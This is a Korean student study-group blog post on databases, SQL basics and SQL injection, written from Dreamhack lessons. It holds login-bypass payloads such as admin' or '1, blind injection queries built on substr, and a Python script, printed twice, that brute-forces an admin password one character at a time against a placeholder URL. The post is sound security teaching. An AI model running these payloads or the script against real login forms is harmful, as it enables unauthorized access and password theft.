-
[SISS/웹해킹 스터디] 2학기 6주차 스터디 - SQL Injection24-2 SISS/웹해킹 2024. 11. 3. 23:00
: 6주차 10/28 ~ 11/03 [드림핵] SQL Injection
데이터베이스
- DBMS(DataBase Management System)
- 데이터 관리(기록, 수정, 삭제, 접근, 조회 등)
- 종류
- 관계형(테이블) → MySQL, MariaDB, PostgreSQL, SQLite
- 비관계형(키-값) → MongoDB, CouchDB, Rdeis
관계형 데이터베이스
- Relational DBMS
- 테이블(행과 열로 구성)을 통해 데이터 관리
- SQL(쿼리 언어) 사용
- 기본 구조 → 데이터 < 테이블 < 데이터베이스
- SQL(Structured Query Language)
- 질의를 위해 사용
언어 설명 DDL(Data Definition Language) 데이터 정의
스키마, DB 생성/수정/삭제 등을 수행DML(Data Manipulation Language) 데이터 조작
데이터 조회/저장/수정/삭제 등을 수행DCL(Data Control Language) 접근 권한 등 설정
GRANT(권한 부여), REVOKE(권한 제거)가 대표적
- DDL → DB, 테이블 생성
- 데이터베이스 생성
- 테이블 생성
- 자료형 → INT, VARCHAR, …
- 조건 → AUTO_INCREMENT, NOT NULL, …
// 데이터베이스 생성 CREATE DATABASE DB명; // 테이블을 생성할 DB 선택 USE DB명; // 테이블 생성 CREATE TABLE 테이블명 ( 컬럼명 자료형 조건, ... PRIMARY KEY(키로 사용할 컬럼명) );
- DML → 데이터 추가
- 테이블 데이터 생성
- 현재 시각 → Now()
- 테이블 데이터 조회
- 테이블 데이터 변경
- 테이블 데이터 생성
// INSERT INSERT INTO 테이블명(컬럼1, ...) Values( 데이터1, ... ); // SELECT SELECT 컬럼1, ... FROM 테이블명 WHERE 키_컬럼=찾으려는키; // UPDATE UPDATE 테이블명 SET 변경컬럼명=변경데이 Where 키_컬럼=찾으려는키;
SQL Injection
- Injection → 입력값이 구조나 문법적인 데이터로 해석되어 발생하는 취약점
- SQL Injection → SQL 구문에 임의 문자열을 삽입하는 것 → 쿼리를 조작하여 인증을 우회하거나 DB의 정보를 유출할 수 있음
- 로그인 기능을 위한 쿼리
- 조작한 쿼리 예시 → admin 계정의 비밀번호를 비교하지 않고 계정 정보를 반환하므로 admin으로 로그인할 수 있음
/* 로그인 기능을 위한 쿼리 */ /* - SELECT: 조회 - *: 테이블의 모든 컬럼에 대하여 - FROM accounts: accounts 테이블에서 조회 - WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터 범위 내 -> accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회 */ SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password' /* 조작 쿼리 예시 */ /* accounts 테이블에서 아이디가 admin인 데이터를 조회 */ SELECT * FROM accounts WHERE user_id='admin'
- Blind SQL Injection
- 참/거짓 반환 결과를 통해 데이터를 획득하는 방법(질의 결과를 화면에서 직접 확인하지 못할 경우)
- DB의 데이터를 탈취할 경우 주로 사용
- (한 번에 알아내는 것이 아닌 스무고개와 같이 여러 번 질의함으로써 한 바이트씩 알 수 있음)
- 공격 쿼리 예시
- substr(문자열, 시작, 길이) → 문자열에서 지정한 위치부터 길이까지의 값을 반환
# 첫 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True # 두 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
- 공격 스크립트 예시
- 공격 자동화 → 한 바이트씩 모든 문자를 비교하는 반복문 작성 → “Login success”를 반환한 문자를 변수에 저장
# HTTP POST 메소드 통신 import requests url = '<https://dreamhack.io/>' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'DREAMHACK_REQUEST' } data = { 'test': 1, } for i in range(1, 5): c = requests.post(url + str(i), headers=headers, data=data) print(c.text)
# Blind SQL Injection 공격 스크립트 #!/usr/bin/python3 import requests import string # example URL url = '<http://example.com/login>' params = { 'uid': '', 'upw': '' } # ascii printables tc = string.printable # 사용할 SQL Injection 쿼리 query = '''admin' and substr(upw,{idx},1)='{val}'-- ''' password = '' # 비밀번호 길이는 20자 이하라 가정 for idx in range(0, 20): for ch in tc: # query를 이용하여 Blind SQL Injection 시도 params['uid'] = query.format(idx=idx+1, val=ch).strip("\\n") c = requests.get(url, params=params) print(c.request.url) # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장 if c.text.find("Login success") != -1: password += ch break print(f"Password is {password}")
- 공격 자동화 → 한 바이트씩 모든 문자를 비교하는 반복문 작성 → “Login success”를 반환한 문자를 변수에 저장
# Blind SQL Injection 공격 스크립트 #!/usr/bin/python3 import requests import string # example URL url = 'http://example.com/login' params = { 'uid': '', 'upw': '' } # ascii printables tc = string.printable # 사용할 SQL Injection 쿼리 query = '''admin' and substr(upw,{idx},1)='{val}'-- ''' password = '' # 비밀번호 길이는 20자 이하라 가정 for idx in range(0, 20): for ch in tc: # query를 이용하여 Blind SQL Injection 시도 params['uid'] = query.format(idx=idx+1, val=ch).strip("\n") c = requests.get(url, params=params) print(c.request.url) # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장 if c.text.find("Login success") != -1: password += ch break print(f"Password is {password}")
- 실습
- user_table
- (guest, guest)
- (admin, 비밀번호)
- SQL Injection
- (admin’ or ‘1, -) 입력 → 항상 참이되므로 관리자 계정으로 로그인 가능
- Blind SQL Injection
- 쿼리 실행 결과를 보여주지 않음
- 비밀번호는 다섯 글자 과일(영어 소문자)
- 첫 글자
- (uid) admin' and substr(upw,1,1)='a'--
- (uid) admin' and substr(upw,1,1)='b'--
- 두 번째 글자
- (uid) admin' and substr(upw,2,1)='e’--
- 비밀번호 획득 → (admin, berry) 입력
- user_table
'24-2 SISS > 웹해킹' 카테고리의 다른 글
[SISS/웹해킹 스터디] 2학기 5주차 스터디 - CSRF (1) 2024.10.06 [SISS/웹해킹 스터디] 2학기 4주차 스터디 - XSS (0) 2024.09.29 [SISS/웹해킹 스터디] 2학기 2, 3주차 스터디 (1) 2024.09.14 [SISS/웹해킹 스터디] 2학기 1주차 스터디 (2) 2024.09.08 - DBMS(DataBase Management System)